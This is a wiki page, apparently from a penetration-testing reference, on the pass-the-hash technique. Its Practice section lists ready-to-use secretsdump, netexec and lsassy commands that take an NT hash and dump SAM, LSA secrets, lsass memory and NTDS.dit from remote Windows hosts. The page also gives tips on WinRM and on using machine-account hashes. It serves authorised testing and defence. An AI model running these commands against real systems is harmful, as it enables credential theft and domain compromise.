githubEdit

Pass the hash

MITRE ATT&CK™ Sub-technique T1550.002

Theory

An attacker knowing a user's NT hash can use it to authenticate over NTLM (pass-the-hash) (or indirectly over Kerberos with overpass-the-hash).

Practice

There are many tools that implement pass-the-hash: Impacket scriptsarrow-up-right (Python) (psexecarrow-up-right, smbexecarrow-up-right, secretsdumparrow-up-right...), NetExecarrow-up-right (Python), FreeRDParrow-up-right (C), mimikatzarrow-up-right (C), lsassyarrow-up-right (Python), pth-toolkitarrow-up-right (Python) and many more.

The Impacket script secretsdumparrow-up-right (Python) has the ability to remotely dump hashes and LSA secrets from a machine (LMhash can be empty) (see dumping credentials from registry hives).

secretsdump.py -hashes 'LMhash:NThash' 'DOMAIN/USER@TARGET'
secretsdump.py -hashes ':NThash' 'DOMAIN/USER@TARGET'
secretsdump.py 'DOMAIN/USER:PASSWORD@TARGET'

NetExecarrow-up-right (Python) has the ability to do it on a set of targets. The bh_owned has the ability to set targets as "owned" in BloodHoundarrow-up-right (see dumping credentials from registry hives).

netexec smb $TARGETS -u $USER -H $NThash --sam --local-auth
netexec smb $TARGETS -d $DOMAIN -u $USER -H $NThash --lsa
netexec smb $TARGETS -d $DOMAIN -u $USER -H $NThash --ntds

Lsassyarrow-up-right (Python) has the ability to do it with higher success probabilities as it offers multiple dumping methods. This tool can set targets as "owned" in BloodHoundarrow-up-right. It works in standalone but also as a NetExecarrow-up-right module (see dumping credentials from lsass process memory).

netexec smb $TARGETS -d $DOMAIN -u $USER -H $NThash -M lsassy
netexec smb $TARGETS -d $DOMAIN -u $USER -H $NThash -M lsassy -o BLOODHOUND=True NEO4JUSER=neo4j NEO4JPASS=Somepassw0rd
lsassy -u $USER -H $NThash $TARGETS
lsassy -d $DOMAIN -u $USER -H $NThash $TARGETS

Limitations, tips and tricks

circle-exclamation
circle-exclamation
circle-info

WinRM enables pass-the-hash

Testers should look out for environments with WinRM enabled. During the WinRM configuration, the Enable-PSRemoting sets the LocalAccountTokenFilterPolicy to 1, allowing all local accounts with admin privileges to do remote admin tasks, hence allowing those accounts to fully take advantage of pass-the-hash.

circle-info

Machine accounts

Just like with any other domain account, a machine account's NT hash can be used with pass-the-hash, but it is not possible to operate remote operations that require local admin rights (such as SAM & LSA secrets dump). These operations can instead be conducted with a Silver Ticket since the machine accounts validates Kerberos tickets used to authenticate to a said computer/service.

A domain controller machine account's NT hash can be used with pass-the-hash to dump the domain hashes (NTDS.dit)arrow-up-right.

References

Last updated